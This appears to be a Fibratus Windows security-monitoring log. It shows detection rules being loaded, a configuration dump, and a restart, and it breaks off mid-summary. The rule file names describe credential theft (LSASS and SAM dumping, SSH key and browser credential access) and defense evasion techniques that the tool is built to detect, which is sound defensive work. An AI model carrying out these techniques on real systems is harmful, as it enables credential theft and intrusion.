+time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T17:25:46+01:00 level=info msg=bootstrapping with pid 16480. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:25:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true to=>[] enabled=>false port=>25 content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ min-buffers=>16 enable-audit-api=>true enable-thread=>true buffer-size=>512 enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-dns=>false enable-handle=>false enable-threadpool=>false enable-registry=>true stack-enrichment=>true max-buffers=>36 enable-image=>true flush-interval=>1s enable-fileio=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true level=>info max-size=>100 max-backups=>15 max-age=>0 formatter=>text] + output ......................... [ amqp=>[ exchange-type=>topic passive=>false exchange=>fibratus timeout=>5s vhost=>/ delivery-mode=>transient tls-insecure-skip-verify=>false url=>amqp://localhost:5672 enabled=>false routing-key=>fibratus durable=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false method=>POST serializer=>json endpoints=>[] timeout=>5s] elasticsearch=>[ sniff=>false servers=>[http://127.0.0.1:9200] timeout=>5s index-name=>fibratus template-name=>fibratus trace-log=>false enabled=>false healthcheck-timeout=>5s healthcheck-interval=>10s bulk-workers=>1 healthcheck=>true flush-period=>1s gzip-compression=>false]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] fastscan=>true skip-mmaps=>false skip-allocs=>false excluded-files=>[] skip-registry=>false skip-files=>false scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:25:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:25:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:26:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:26:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:26:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:26:37+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:26:37+01:00 level=info msg=rules compile summary: + 